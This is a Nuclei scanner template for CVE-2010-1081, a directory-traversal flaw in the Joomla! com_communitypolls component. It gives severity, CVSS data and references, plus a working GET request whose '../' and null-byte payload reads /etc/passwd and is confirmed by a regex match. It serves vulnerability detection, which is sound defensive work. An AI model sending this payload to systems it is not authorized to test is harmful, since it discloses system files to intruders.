id: CVE-2010-1081

info:
  name: Joomla! Component com_communitypolls 1.5.2 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Community Polls (com_communitypolls) component 1.5.2, and possibly earlier, for Core Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire Joomla! installation.
  remediation: Apply all relevant security patches and product upgrades.
  reference:
    - https://www.exploit-db.com/exploits/11511
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1081
    - http://www.corejoomla.com/component/content/article/1-corejoomla-updates/40-community-polls-v153-security-release.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1081
    cwe-id: CWE-22
    epss-score: 0.04937
    epss-percentile: 0.89749
    cpe: cpe:2.3:a:corejoomla:com_communitypolls:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: corejoomla
    product: com_communitypolls
  tags: cve,cve2010,joomla,lfi,edb,corejoomla,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_communitypolls&controller=../../../../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100e5cba5547e2ddc5463c55e4e7e281b1da9c5e7669ec4669457c2c51a7c66c1e0022100a36d08cd325d82c82a645935bf9ffdeb02459e96d355d6568cc4f10becde912e:922c64590222798bb761d5b6d8e72950